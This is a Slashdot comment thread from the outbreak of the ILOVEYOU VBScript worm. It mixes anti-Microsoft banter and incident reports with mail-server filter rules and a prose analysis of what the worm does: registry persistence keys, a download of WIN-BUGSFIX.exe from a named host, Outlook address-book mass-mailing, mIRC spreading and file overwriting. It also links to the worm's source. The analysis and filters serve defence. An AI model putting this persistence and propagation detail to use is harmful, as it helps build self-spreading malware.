    The difference between Canada and the USA is that in Canada healthcare is a right and gun ownership is a privilege.
    1. Re:Total Cost of ownership if Outlook/Exchange by sTeF · · Score: 2

      it's indifferent, if you use sendmail or exchange it depends on the os, if your os is capable of running vb crap, and you e-mail client is configured to run it, then you suffer, i can imagine pine running on window, with a mailcap entry for vbs files... but most nobody is that stupid.

    2. Re:Total Cost of ownership if Outlook/Exchange by sTeF · · Score: 1

      sorry made a few mistakes:
      s/window/windows/
      but most^H^H^H^Hnobody is that stupid

    3. Re:Total Cost of ownership if Outlook/Exchange by Malachi · · Score: 5
      I think we need to see some responsibility on M$'s part to add some checks and balances to their open ended VB scripted Outlook. While we too got his by a Melissa like virus last month the Unix group just chuckled as the windows chickens ran about trying to stop the fire from spreading, or sending more spam by trying to tell people to not check it.

      Curiously, can we file suit if one of these things gets really nasty? The last one that hit us just sent the person to a p0rn site and everyone in their addr book, reg keys, desktop, startup. What if this had been a formating virii? Talk about large scale data loss.

      -Malachi-

      --
      "Life is all about strategy, mathematics and psychological perceptiveness."
    4. Re:Total Cost of ownership if Outlook/Exchange by smartin · · Score: 2

      Sure I do. I just get the benefit of choosing which calendar I want to use. These things should all be standards based.

      --
      The difference between Canada and the USA is that in Canada healthcare is a right and gun ownership is a privilege.
    5. Re:Total Cost of ownership if Outlook/Exchange by Saval · · Score: 1

      > You also don't get the benefits of the group calendaring, tasks, scheduling.... need I go on?
      PHP3 , Zope , ... need I go on?

      --
      --Saval
    6. Re:Total Cost of ownership if Outlook/Exchange by 4of12 · · Score: 1

      No, thanks, I've seen firsthand what damage group calendaring can do.

      Your mandatory, 2 hour Safety with Fire Extinguishers Meeting starts right after your Equal Employment Opportunity Corporate Feel Good Statement Meeting ends.

      Needless to say, though, the costs of handling virii that exploit innovations that help the consumer were not to be seen anywhere in the sales pitch or product brochures -- only pictures of Happy, Productive workers Being Profitably Busy for Your Company.

      --
      "Provided by the management for your protection."
    7. Re:Total Cost of ownership if Outlook/Exchange by sstrick · · Score: 2

      At the risk of being flamed to a crisp:

      This is why if a company is going to use a large corporate email system they should choose Lotus Notes over exchange any day. While notes can run script on the opening of an email it has to be (unless someone is stupid enough to change the default settings) signed by a trusted sender. Atleast someone in your organisation who is an administrator.

      A virus such as this simply would not propagate between organisations with notes. At the worst it might screw up that organisations mail system, but if an admin really wanted to do damage their are much easier ways.

      Anyway just my $0.02.

      --

      "Do you think we could wipe out world hunger forever if scientists figured out how to make AOL's Free CD's edible?"-
    8. Re:Total Cost of ownership if Outlook/Exchange by smartin · · Score: 2

      vCard and vCalendar.

      --
      The difference between Canada and the USA is that in Canada healthcare is a right and gun ownership is a privilege.
    9. Re:Total Cost of ownership if Outlook/Exchange by TomV · · Score: 1
      their open ended VB scripted Outlook.

      Actually, in this case Outlook's only automated by the script, It's hosted by the 'Windows Script Host' (wscript.exe), which drives Outlook by OLE Automation as one part of its nastiness

      TomV

    10. Re:Total Cost of ownership if Outlook/Exchange by fooeyploo · · Score: 3

      Maybe we should begin to consider Outlook as a DDOS tool? It sure seems to be a very effective one.

      --

      Don't throw your computers out the windows. Throw the Windows out of
      your computers.

    11. Re:Total Cost of ownership if Outlook/Exchange by CoJoNEs · · Score: 1

      try vCard and vCalendar

    12. Re:Total Cost of ownership if Outlook/Exchange by shippo · · Score: 1
      Well, my experience of Lotus Notes mail up to version 4.6 is not that good.

      An administrative nightmare, all that awful form filling. And if using shared mail, all common mail messages are in one big file.

      And the user interface is one of the most inconsistant pieces of junk I've ever had the misfortune to see.

      I'd rather run Exchange, and that sucks rocks through a straw!

    13. Re:Total Cost of ownership if Outlook/Exchange by G+Neric · · Score: 2
      C'mon: users have to take some responsibility. I get viruses sent to me all the time: I don't click on them. Sure, Outlook sucks, but I'm forced to use it at work and I still don't ever have problems with viruses.

      So, add on to your total cost of ownership the stupidity tax: it's non-refundable. And in your calculations, don't forget the opportunity cost of stupidity: if your users got the time Outlook wasted back, they'd have more time simply to figure out some other way to screw up.

    14. Re:Total Cost of ownership if Outlook/Exchange by MsGeek · · Score: 1

      If you are installing Windows98SE, use the "Custom Install" option and UNCHECK WINDOWS SCRIPTING HOST and OUTLOOK EXPRESS. Also make sure you check your email using a Mac or a Linux box, because that stupid preview window in OE means you don't have to click on the attachment to get infected.

      Virus writers...I hate those guys.
      --.\\-H--

      --
      Knowledge is power. Knowledge shared is power multiplied.
    15. Re:Total Cost of ownership if Outlook/Exchange by theCoder · · Score: 2

      This does not happen when you are using Sendmail and a regular POP3 or IMAP client

      I don't know... I'm sure at least a couple of mail servers sending this message around are running sendmail :) But you're right it is the mail client's fault.

      I still think the arrogance that it can't happen to us is dangerous. Just wait until someone makes a shell script for Linux that searches your Pine/Elm/whatever address book and spreads itself that way (before finishing with a 'rm -rf ~'). That would be particularaly messy.

      --
      "Save the whales, feed the hungry, free the mallocs" -- author unknown
    16. Re:Total Cost of ownership if Outlook/Exchange by sstrick · · Score: 1

      The admin setup doesn't bother me that much...however I do agree that shared mail is a bit of a dog. To keep it running well it requires WAY to much admin time.

      I actually quite like the user interface. I don't find it that inconsistant because there is not much to it - it's just a mail client.

      However I would put up with a lot more than this if it stops Trojan attacks such as this. Personally security is my number one concern.

      --

      "Do you think we could wipe out world hunger forever if scientists figured out how to make AOL's Free CD's edible?"-
    17. Re:Total Cost of ownership if Outlook/Exchange by TomV · · Score: 1
      ...because that stupid preview window in OE means you don't have to click on the attachment to get infected.

      point of clarification...
      In the case of attachments, you do still need to doubleclick to activate it. The real danger of the Preview Pane is from scripts in HTML-formatted mail, which can, of course, load and run as the page is rendered.

      But the biggest danger of all, whether you're running UNIX, Multics, CP/M, BeOS, DOS, TOS, OS/2, Windows, whatever, and don't let's forget it, is

      COMPLACENCY

      and it's turbocharged cousin Smugness

      TomV

    18. Re:Total Cost of ownership if Outlook/Exchange by kzinti · · Score: 2

      Maybe we should begin to consider Outlook as a DDOS tool?

      It certainly does seem to be a great DDoS opportunity! Maybe anybody with VBScript knowledge should be locked away as a potential hacker?

      --Jim

    19. Re:Total Cost of ownership if Outlook/Exchange by smartin · · Score: 2

      Sure writing the script is easy to do. The hard part is to mail it to pine/elm/.. users and get their mailer to automatically execute it when they open their mail. In Outlook this is appearent easy to do. Thats why Outlook is so evil, this current virus seems to execute as soon as the victim opens their mail.

      How anyone could write an application with such a feature is beyond me. Why anyone would willingly install the thing on their machine is also beyond me. Which brings me back to the point of my original post. System admins and IT managers need to be made well aware of what they are getting into when they base their corporate email system on this crap. I work for a large investment bank and our email has been down for over half a day now because of this thing. I can't even guess how much it's costing the firm.

      --
      The difference between Canada and the USA is that in Canada healthcare is a right and gun ownership is a privilege.
    20. Re:Total Cost of ownership if Outlook/Exchange by MKalus · · Score: 1

      Actually Outlook (the full one) and Exchange are not directly affected. Outlook doesn't automatically execute it.

      Outlook Express IS a real problem as it simply executes VB Scripts without asking (that is if you have enabled automatic scrip execution in the Intnernet Settings, which is the default).

      So yes, my inbox got filled this morning with this crap, but if people would be a bit more educated instead of clicking on everything that doesn't move fast enough those "viruses" wouldn't spread that easily. And if Microsoft would know what security means, they wouldn't allow a script execution in an e-mail program. They should really know by now.

      --
      If you want to e-mail me, use my PGP Key.
    21. Re:Total Cost of ownership if Outlook/Exchange by Spoing · · Score: 1

      I agree, in general. As an addition to this, and for more general use, I have a proposal that seems to be working well in my trial use of it...

      While this idea won't catch everything, use a mail server as a gateway to filter attachemts -- before internal mail servers get it. When a specific file type is attached, slap a wrapper on the attachment that warns the user that they are resposible for knowing the source of the email and if it's something that they would normally expect from that source. This is most valuable when all the client systems run the same OS.

      This happens before any internal mail server gets it -- commercial (Exchange/Notes...) or custom, so the chance of a trojan grabbing addresses is reduced.

      When the user does open the trojan -- and they will even after they have been warned -- tracking the trojan in the internal network could still be done. One way is to pre-populate all user's address books with a contact for the help desk. Melissa-style virus comes along, and you know it immediately, and can start mopping up the mess as soon as possible. This would be a minor, and easily verifiable, change to network procedures and policies.

      To me, these steps seem to be an obvious addition to any system that handles external mail.

      (obNote: If you need to comunicate with other Exchange/Notes/... servers, then I'd consider that an internal trusted resource. Get the folks on the other end to do the same wrapping and pre-populating address books for incomming mail.)

      --
      A firewall can not protect you from yourself. Turn off what you do not need. Do not use the firewall to do your work.
    22. Re:Total Cost of ownership if Outlook/Exchange by BandSaw · · Score: 1
      What a load of crap. This is just a variant of the "all problems with windows are due to user error/stupidity" line that MS puts out.

      If MS made products in meatspace they would have been sued out of existance long ago. I can see it now- the Microsoft weed-wacker company:

      "Your weedwacker will explode in a giant ball of blue flame if you cut Kentucky Bluegrass with it. Other grasses may be cut, but Red Fescue should not be cut on Wednesdays as the weed-wacker may wrap the cutting filament around the users left testicle."

      It should be obvious to anyone that all sorts of stuff can arrive as email. If MS had any clue what they were doing, Outlook would deal with it.

      --

      Your wallet stays open. Our source remains closed. We are MSFT

    23. Re:Total Cost of ownership if Outlook/Exchange by alarmo · · Score: 1

      Agreed, as a relative thing (having worked in a Notes shop before). However, I seem to remember different Notes versions installing by default with different ECC settings, some of which were way too liberal. Me and another programmer used to compete to write the most destructive email - we actually found a way to shut down your Notes session by opening a message, using LotusScript, but you *did* have to have your ECC set to allow it to work. Sadly, R5 made this effort a bit easier... (I wrote C++ and java, but by osmosis and necessity learned notes programming too).

    24. Re:Total Cost of ownership if Outlook/Exchange by frankie · · Score: 1

      The big problem is that it's not just the dumb Outlook users who are being shut down by this. JHU's email server stopped sending outgoing messages early this morning. Now it's 6 hours later, and not only is send mail still down, but the mail receiver is dead too. So my Powerbook with Eudora is taking collateral damage from those tightly integrated bastards in Redmond.

    25. Re:Total Cost of ownership if Outlook/Exchange by G27+Radio · · Score: 2


      We have 600 PC's at the site I support. So far not one infected computer. I'm certainly glad we're running Notes. Otherwise I'd be running around to 600 PC's today.

      There are users at some of the company's other sites though that have the virus but it appears to be a very small number. As you pointed out, our users were able to receive the e-mail, but it didn't propogate. Outlook can't send e-mail over our network.

      numb

    26. Re:Total Cost of ownership if Outlook/Exchange by TheGreek · · Score: 2
      PHP3 and Zope are unrelated to group messaging. Do you have any idea what you're talking about?

      Yes, and C/C++ and perl are unrelated to email.

      I believe he was suggesting you write your own solution.

    27. Re:Total Cost of ownership if Outlook/Exchange by climer · · Score: 1

      Outlook can send mail over a Notes mail network. You have to configure the Service for Outlook to allow it to talk to Notes. Unfortunately this is easy and done my many users who like microsoft tools including IE. People will do this so IE can email via notes and also send pages etc to notes users.

      This means that an infected user can propogate this virus if outlook is configured correctly. My last company was a notes shop and Melissa spread via this method.

      Notes does not render you immune.
      /Duncan

      Duncan Watson -Rock climbing, Encryption, privacy
      PGP Fingerprint -PGP Key on www.keyserver.net

      --

      Duncan Watson
    28. Re:Total Cost of ownership if Outlook/Exchange by PondScum · · Score: 1

      Can Someone confirm or debunk the info I just got.

      Someone just told me that the "preview" in Outlook (or was that Lookout) 2000 will trigger the virus.

      If this is true then I am agast. This security hole has been exploited in the past, and instead of trying to at least partially close the hole, it appears that MS has widened it, by making it harder to protect yourself by just deleting things.

      Please let me know if this is true.

      PondScum

    29. Re:Total Cost of ownership if Outlook/Exchange by TheGratefulNet · · Score: 2
      Maybe anybody with VBScript knowledge should be locked away as a potential hacker?

      damn; Mitnick is up to his old tricks again...

      --

      --

      --
      "It is now safe to switch off your computer."
    30. Re:Total Cost of ownership if Outlook/Exchange by sysop · · Score: 2
      What if this had been a formating virii? Talk about large scale data loss.

      Virii that destroy their host do not have very good chances of propogating, it's a natural selection thing.

      The same as Ebola really .. since it kills the host, it doesn't have a very good chance of passing itself onto a new host. A computer virus is no different.

      Much the same as MS Software, mediocrity is a survival characteristic.

    31. Re:Total Cost of ownership if Outlook/Exchange by G+Neric · · Score: 1
      you completely missed my point

      I didn't excuse Microsoft at all, that's a bug up your ass. Microsoft products are bad, yes. But if they're as bad as you say, how come I never get bit? Do you get bit? I believe only stupid people do. There are a lot of stupid people, and sysadmins (smart and stupid) have to live with the consequences, so better, more secure products are a good thing. But still: at this point you either just arrived on the planet, or you gotta be pretty stupid to click a link in an email without confirming that it's text or graphic. Somebody sends me a .DOC, I try running it through mswordview or I tell 'em to try again, and I don't care if it is my boss. If you're serious, it's simple.

      Let me repeat, cuz you are probably getting it wrong again: I'm not saying software couldn't be better, I'm saying surround yourself with smarter people, and this "problem" disappears over the horizon.

    32. Re:Total Cost of ownership if Outlook/Exchange by Syberghost · · Score: 2

      Two Lotus Notes users at one of our data centers together destroyed over 1,300 files with this virus today.

      A mutated version of it has already appeared, with the subject line "fwd: Joke".

      Hands up, who hasn't gotten an email in the last month with a similar subject line, from someone one trusts?

      Fortunately, with Notes it didn't propogate; but one person pulling personal email with Outlook (and we had that happen too) can devastate a company full of Notes users.

      BTW, anybody heard anything about CBS? Rumor (and it's just a rumor, I have not confirmed anything) is that they sent an "all-hands" email to the entire company, from an infected system. Ouch, if it's true.

      --

    33. Re:Total Cost of ownership if Outlook/Exchange by mpe · · Score: 2

      Virii that destroy their host do not have very good chances of propogating, it's a natural selection thing.

      Actually a virus can kill its host and become "epidemic", just so long as it dosn't kill the host too quickly...
      Much the same as MS Software, mediocrity is a survival characteristic.

      Also in biology unfit hosts stay dead, this isn't the case in the software sphere. Even if a virus did kill Windows someone would be apt to resurect it.

    34. Re:Total Cost of ownership if Outlook/Exchange by DeathBunny · · Score: 1

      No, this isn't true. The user has to be stupid enough to click on the the attachment. (many users are!) Also, this virus really has very little to do with Outlook Express or with Exchange.

      Microsoft Outlook and Microsoft Outlook Express are two different programs. Outlook Express does not support OLE automation. OLE automation is what this Visual Basic virus uses to propogate. It uses OLE automation to read all of the e-mails from your Outlook address book, then sends itself to everyone on that list.

      That means this virus WILL affect any Outlook users, whether their mail server is Exchange or Sendmail. Exchange users tend to be hit a bit harder because your address book automatically includes everyone at your Exchange site.

      BTW.. Anytime your worried about (or just morbidly curious about) one of these virus scares, I recommend checking out the web sites of any of the major antivirus companies. They usually have pretty detailed information.

    35. Re:Total Cost of ownership if Outlook/Exchange by Wah · · Score: 2

      no need to fight. We should help the wounded.

      Note: Link reposted 'cause nobody reads for the articles.
      --

      --
      +&x
  22. Well Damn by zpengo · · Score: 2

    Now I have to tell my girlfriend to delete all my old e-mails, because they had that subject line, and you never know!

    --


    Got Rhinos?
  23. Solution for Postfix by njr · · Score: 5
    If not active in /etc/postfix/main.cf uncomment the line and change it to a line similar to:

    header_checks = regexp:/etc/postfix/header_checks

    Add the following line in /etc/postfix/header_checks:

    /^Subject: ILOVEYOU/ REJECT

    This will reject mails containing this subject.

    Thanks to Claus Guttesen who posted this on the postfix mailling list.

    1. Re:Solution for Postfix by otmar · · Score: 5

      Sendmail can filter that crap as well, just add

      HSubject: $>local_check_header_subject
      D{loveletterMessage}"553 Your message may contain a worm."
      Slocal_check_header_subject
      RILOVEYOU $#error $: ${loveletterMessage}

      to your sendmail.cf (version > 8.9 !).

      (there is a tab between the ILOVEYOU and $#error.)

      /ol (credits go to a cow-orker, though)

    2. Re:Solution for Postfix by medicthree · · Score: 1
      /^Subject: ILOVEYOU/ REJECT

      This will reject mails containing this subject.

      Sure, but then you're going to live a miserable, solitary life. It's not wise to shut potential dates / mates out of your inbox.

    3. Re:Solution for Postfix by timftbf · · Score: 1

      Then again, ask yourself 'Do I really want to date someone stupid enough to type in all caps with no spaces?' Even AOLers generally manage spaces. Usually not punctuation, or at any rate correct punctuation, but spaces are normally there.

      Regards,
      Tim.

    4. Re:Solution for Postfix by cying · · Score: 1

      Shoot! I just replied to the top before I saw this. Sendmail, Inc. has a configuration feature which does essentially what you've suggested here. Details can be found here.

    5. Re:Solution for Postfix by dezwart · · Score: 1

      What if someone really does want to say "ILOVEYOU" to the recipient? Think of it, you could be responsible for the breakup of millions of couples ;-p

    6. Re:Solution for Postfix by homer_ca · · Score: 1

      Someone has already renamed the file and subject to "Joke" and started sending it out. A better way would be to filter the attachement by file extension.

      Search for:

      filename=loveletter.txt.vbs

      or for a regexp to match all .vbs files:

      filename=.*.vbs

  24. Source at ftp://weazel.student.utwente.nl/pub/ by Anonymous Coward · · Score: 2

    It's a very nasty trojan, especially because it starts automatically after a reboot. To be sure what is does and doesn't, look at: ftp://weazel.student.utwente.nl/pub/mailworm.txt

    1. Re:Source at ftp://weazel.student.utwente.nl/pub/ by delgurth · · Score: 1

      I have made the source better readable and have found out that mp3's ain't deleted, just made hidden.
      so a attrib -h /s in your mp3 dir will fix the gone mp3 problem :)

  25. Blasted thing... by thenerd · · Score: 1

    Things have been fairly cool here (r&d for telecoms). They reckon it came from the Phillipines, for some reason.

    I got it without an attachment, and emailed the woman back 'I'm mortified that you didn't include the letter'.

    I'm not sure whether I feel like an idiot or what!

    thenerd.

    --
    The camels are coming. I'm in love.
    1. Re:Blasted thing... by razorwire · · Score: 1
      They reckon it came from the Phillipines, for some reason.

      I think the following just might be what tipped 'em off:

      rem barok -loveletter(vbe)
      rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines

      Hint for virus writers: DON'T put your email address right in the code...

    2. Re:Blasted thing... by TomV · · Score: 1
      y reckon it came from the Phillipines, for some reason

      That'll be from the first 3 lines:

      rem barok -loveletter(vbe)
      rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
      Manila,Philippines

      although, if he can write this stuff, he knows he could have used the MS Script Encoder and sent it as a .vbe (obfuscated). Which makes me think it's not spyder, but, if in any way connected, someone who really hates him

      TomV

  26. Fast spread, but better handled? by redelm · · Score: 2

    I never saw Melissa, but I did get three copies of ILOVEYOU thanks to the corporate-wide mailing list. That was this morning. Since then, our mailadmins have done an admirable job, and I've seen none. I'm glad somebody took Melissa as a wake-up call.

    1. Re:Fast spread, but better handled? by / · · Score: 3

      Since then, our mailadmins have done an admirable job, and I've seen none. I'm glad somebody took Melissa as a wake-up call.

      You mean they took the obvious step of ceasing to use software whose crappy design makes it specifically vulnerable to this sort of virus? Or do you mean they just engaged in damage control and will still be whacked the next time such a virus comes around?

      No software should be able to edit a registry file or its equivalent without specific permission from an informed user. Period.

      --
      "If one is really a superior person, the fact is likely to leak out without too much assistance" -- John Andrew Holmes
    2. Re:Fast spread, but better handled? by Che+Guevarra · · Score: 1

      Did you shake your head smugly from side to side while typing that message?

    3. Re:Fast spread, but better handled? by Tony-A · · Score: 1

      Maybe not, but I sure did reading it.

  27. This really is a problem.. by MonkeyMagic · · Score: 1

    ..as it is sooo easy to access the windows address book and Exchange from a program without even needing a password. I'm not sure how this one worked as our mail has been shut down and therefore I can't get a copy, but for there to be no need for permissions (at least, this is the case on NT) is ridiculous.

  28. Too many email users are ignorant as piss. by unquiet · · Score: 1
    Sometimes they get what they deserve by opening executables. Sometimes others get what the ignoramus deserves, when it's doing the address book lookup. Education about using email is the answer. Too bad it's not 100% effective.

    --
    Got a beef? Plug a name into the Bizarre Rumour Generator!
    1. Re:Too many email users are ignorant as piss. by SchrEckInc · · Score: 1

      I agree, my experience is that a lot of users are completely advice-resistent. Once people have superficial knowlegde of how to use a mailer or 'the internet', they instantly forget basic security concerns. They wouldn't give their credit cards to some guy on the street, but do the same thing electronically.

      --

      My hovercraft is full of eels
    2. Re:Too many email users are ignorant as piss. by lee · · Score: 2

      I sent out an email telling users of this virus and warning outlook is to be uninstalled on all systems. We use something else for email.

      So what to the id10ts do? They double click on an outlook icon and in some cases reinstall it to see what all the fuss is about!

      --
      --- If you don't want to know the answer, don't ask the question.
    3. Re:Too many email users are ignorant as piss. by sparkz · · Score: 1

      Hey! My mum uses Outlook! (doesn't yours?)
      Doesn't yours? I can't honestly say that Un*x is ready to replace MS-Win, so that's what they use.
      And no, she doesn't know what the fsck she's doing; she's 59! She doesn't care....... I work in computing and care about that - she works in counselling and cares about that.
      I've probably fscked up a lot of ppl just by my social incompetence; she's in danger of fscking her computer by her technical incompetence.
      There's no need to say that either of us are idiots, just specialists in different fields.
      Okay, in a work environment, users should be more "obedient" - help them! Remove their outlook links if they don't use it! But for my mother, I'm kinda worried....

      --
      Author, Shell Scripting : Expert Re
    4. Re:Too many email users are ignorant as piss. by titus-g · · Score: 1
      Umm nope, my mum uses kmail. Linux works equally well for novices as nuts (it's the majority in the middle that have problems), it has all the essential apps,
      • Email
      • Freecell
      • Web
      • Freecell
      • Word Processors
      • Freecell
      • etc...

      doesn't crash so often, can be fixed via telnet, has mesmerising screensavers...

      Not that I'm disagreeing with you, there is no way I would recommend linux/bsd systems to any of my clients, well not until I have a high priced phone number that gives me a cut of the call charges anyway...

      This should serve as a wakeup call anyway (ok, I know it won't, easier to scapegoat) computers are complicated & unreliable, the majority of users don't know coalderivedsugeralternativeofyour choice, the real offenders are the people who hype and bumrush consumers into believing that there is only their way without thinking about the consequences.

      Too many floors, too little foundation and allopathic rather than homeopathic solutions.

      --

      ~ppppppppö

    5. Re:Too many email users are ignorant as piss. by Ventilator · · Score: 1

      Hey! My mum uses Outlook! (doesn't yours?)


      Nope. I told her that Netscape Messenger is way easier to use. She bought it and keeps mailing the world with it.

      You just need to find the right arguments. =:-)

      --
      --- If OS were buildings, then the first woodpecker to come around would erase 95 % of civilization.
  29. Analysis by Anonymous Coward · · Score: 1

    This analysis I did this mornig in a rush when one of our HR girls ran it. It's a VBS worm. It spreads by two methods, irc and email. On startup it sets the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout to 0 It then copies itself to WINNT/SYSTEM32/MSKernel32.vbs WINNT/Win32DLL.vbs WINNT/SYSTEM32/LOVE-LETTER-FOR-YOU.TXT It then creates registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\MSKernel32 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\RunServices\Win32DLL which will run the script again on the next boot of the computer Next it checks to see if ie download directory is set in the registry - if it is it remembers that value, otherwise it uses c:\ instead. It then checks to see it /WINNT/SYSTEM32/WInFAT32.exe exists - if it does it sets internet explorers start page to download a file called WIN-BUGSFIX.exe from one of 4 places (randomly chosen) on www.skyinet.net It then checks to see it this file has been downloaded (i.e. when the script is run at a later date). If it has to sets this .exe to be run at next boot and resets i.e home page to about:blank (blank page) Next, it generates the file WINNT/SYSTEM32/LOVE-LETTER-FOR-YOU.HTM This basically contains the worm itself set to run when the page is viewed. Now it does to old trick of openning the Outlook address book, grabbing *all* the entries in it and emailing then an email with the subject line "ILOVEYOU" and the worm as an attachment. Now it has a look around all the drives on the machine (local drives I think) as does the following a) If it find mirc, edits it's ini file so when you next log onto an irc channel it dcc's itself to all the other users b) Overwrites any .vbs and .vbe files it finds with itself c) If it finds any vbs, vbe, css,, wsh, sct or hta files it deletes them, creates a new file with the same name ending in vbs and copies itself to it d) Does similar things to (c) to .mp3, .mp2, .jpg, .jpeg Then the script ends Stuart

    1. Re:Analysis by Anonymous Coward · · Score: 5

      Sorry - lost the /n's there

      It's a VBS worm. It spreads by two methods, irc and email.

      On startup it sets the registry key
      HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout
      to 0

      It then copies itself to WINNT/SYSTEM32/MSKernel32.vbs
      WINNT/Win32DLL.vbs
      WINNT/SYSTEM32/LOVE-LETTER-FOR-YOU.TXT

      It then creates registry keys

      HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cu rrentVersion\Run\MSKernel32
      HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cu rrentVersion\RunServices\Win32DLL

      which will run the script again on the next boot of the computer

      Next it checks to see if ie download directory is set in the registry
      - if it is it remembers that value, otherwise it uses c:\ instead.

      It then checks to see it /WINNT/SYSTEM32/WInFAT32.exe exists - if it does
      it sets internet explorers start page to download a file called WIN-BUGSFIX.exe from one of 4 places (randomly chosen) on www.skyinet.net

      It then checks to see it this file has been downloaded (i.e. when the script is run at a later date). If it has to sets this .exe to be run at next boot and resets i.e home page to about:blank (blank page)

      Next, it generates the file WINNT/SYSTEM32/LOVE-LETTER-FOR-YOU.HTM
      This basically contains the worm itself set to run when the page is
      viewed.

      Now it does to old trick of openning the Outlook address book, grabbing
      *all* the entries in it and emailing then an email with the subject line "ILOVEYOU" and the worm as an attachment.

      Now it has a look around all the drives on the machine (local drives I think) as does the following
      a) If it find mirc, edits it's ini file so when you next log onto an
      irc channel it dcc's itself to all the other users
      b) Overwrites any .vbs and .vbe files it finds with itself
      c) If it finds any vbs, vbe, css,, wsh, sct or hta files it deletes them,
      creates a new file with the same name ending in vbs and copies itself to
      it
      d) Does similar things to (c) to .mp3, .mp2, .jpg, .jpeg

      Then the script ends

      Stuart

    2. Re:Analysis by biglig2 · · Score: 1

      Not just local drives. It also works on any network drive mappings you have. Ah, the joy of being a sysadmin in the UK and having to run cleans on the mail system in the US while their sysadmins sleep happy sleep...

      --
      ~~~~~ BigLig2? You mean there's another one of me?
    3. Re:Analysis by JimmyGulp · · Score: 1

      Erm, It doesn't just do Local Drives, I tried it on my spare PC, it renames .jpg's to .jpg.vbs, I didn't have any mp3's on there, so I dunno.

      We run Netware 4.11 at college, it changed stuff on the network drive (H Drive in my case), and locked the files so you can't rename them.

      Good job our superuser didn't run it on his account 'just to see what it did'

      ;)

      Jimmygulp

      --
      Dirk stood in the Stanley
    4. Re:Analysis by FirstEdition · · Score: 1

      Good job our superuser didn't run it on his account 'just to see what it did' Ours Did!!! Ha Ha Ha. All the engineers are killing themselves laughing....

  30. That's Funny... by Gorth · · Score: 1

    I wake up this morning, check /. as usual and see this story. About 5mins after seeing the story and chuckling to myself about the entire idea of virii, guess what appeared in my inbox.. Yup A copy of this trojan for my very own ;)

    1. Re:That's Funny... by IHateEverybody · · Score: 1


      I had the same experience in reverse. I came in, check my e-mail, discovered the virus, saved it for my collection, reported it, and checked Slashdot. And lo, and behold. . . .

      --
      Does this .sig make my butt look big?
  31. Re:Dang! by aclute · · Score: 1

    that's ok! Reading the email is ok, it is running the attachment is bad! You didn't do anything

  32. Democracy wiped out by killer trojan by pyrotic · · Score: 1

    Poor old House of Commons. Seems our beloved democracy has been bought to its knees by this one.

  33. Pretty Nasty actually by scrutty · · Score: 5
    We got hit in our office this morning. Obviously the techs like me were running Linux and laughed it off. But unlike Melissa this one actually carries a nasty payload.

    It mails to everyone in your Outlook addressbook, not just 50. Also your MIRC nick list. It trawls all your mounted directories copying itself over all MP3's JPEGS .jpgs, style sheets and .js files amongst others

    This actually managed to knock out half of our office , as well as render one of our live web servers pretty messed up , within under 10 minutes of the first person activating it. Yes, the webserver was a linux box, but one unfortunate had a subtree on a server that mirrored stuff to it mounted over a samba share

    And no, you didn't have to click on it. That damn preview pane was enough to trigger it off.

    --
    -- Oh Well
    1. Re:Pretty Nasty actually by xianzombie · · Score: 1

      On the contrary, I use the preview pane and it was not triggered on my system...

      ...or maybe they took the mail server down prior to me noticing it being on my system....that would suck....

    2. Re:Pretty Nasty actually by scrutty · · Score: 1
      I'm just reporting what our NT admins were saying. I don't know anything about Windows really. It was still pretty amazing watching how fast it spread itself

      --
      -- Oh Well
    3. Re:Pretty Nasty actually by TopShelf · · Score: 1

      I use the preview pane, and it hasn't launched from my mailbox. I immediately set up a rule to permanently delete these emails upon receipt, but our office (in Indianapolis) is flooded with this crap.

      --
      Stop by my site where I write about ERP systems & more
    4. Re:Pretty Nasty actually by fooeyploo · · Score: 5

      I really think Microsoft has been getting a lot of things backwards. I think a more appropriate name for Outlook would have been Lookout!

      --
      Don't throw your computers out the windows. Throw the Windows out of
      your computers.

    5. Re:Pretty Nasty actually by scumdamn · · Score: 2

      I actually recieved many of the messages. One showed up in my preview pane, but didn't infect my system. Maybe some versions of outlook automatically open the VBScript files and some don't. Can we get some confirmation on this? I'm running Outlook 2k.

    6. Re:Pretty Nasty actually by tage · · Score: 1
      On the contrary, I use the preview pane and it was not triggered on my system...

      ...or maybe they took the mail server down prior to me noticing it being on my system....that would suck....

      the preview pane will trigger it, but seemingly only if you:
      a) have "reply with formated mail" (or whatever that setting is called) turned on as the default reply setting
      b) haven't already patched away this security hole (i expect this is the same bug that made melissa/"check this!" possible)

      our sysadmins ripped out the internet connection as soon as i told them... we don't want our customers to catch this from us.

    7. Re:Pretty Nasty actually by Simoriah · · Score: 2

      I work as a sysadmin for EDS (Electronic Data Systems). We got hit by this thing this morning. EDS's solution was pretty harsh. Any e-mail over 10k is getting deleted. Any attachment that pushes a message over 10k is being deleted. Any account sending ANY .vbs file is getting deactivated.

      This damn thing brought down 3 mail servers, and a handful of other servers.

      It's nice to know that something like a mail message can cripple an organization like EDS.

      --
      "It compiles, SHIP IT!" -Overheard at Microsoft's development lab
    8. Re:Pretty Nasty actually by LordStrange · · Score: 1
      That part about the preview pane is NOT true. You have to dblclick the *.vbs for it to run. I suspect one of your users was trying to keep from looking stupid when they claimed NOT to have dblclicked it.

      As proof I offer as examples 3 people sitting near me (as well as me) that looked at the message through the preview pane but, of course, remain uninfected.

      --

      License: By reading this you are agreeing that you agree with me.

    9. Re:Pretty Nasty actually by Eponymous,+Showered · · Score: 1

      Actually, that was the name of a program (probably one of several) that allowed one to sync one's Newton Messagepad to MS Outlook. As it was the only way to keep mine and my wife's Newton's address books synced, I used it (thankfully, I got a free copy of Outlook98 at Comdex a few years ago). Worked well, actually.

      Now that I think about it, Outlook is still the central DB for out pilots. We never actually open it, though. Anyone got any ideas how to sync our two pilots via Linux instead?

      Guess I'm getting a bit OT here.

    10. Re:Pretty Nasty actually by greyrat · · Score: 1
      And no, you didn't have to click on it. That damn preview pane was enough to trigger it off.
      No. You must click it, even with preview on. I got about 50 copies this morning before I set up a filter, and I was not infected.
      --

      "There is no reason anyone would want a computer in their home." -- Ken Olson, 1977
    11. Re:Pretty Nasty actually by donutello · · Score: 1

      Go to Tools->Options and select the Security tab.

      Click on Zone Settings and Attachment Security to choose when scripts are run

      --
      Mmmm.. Donuts
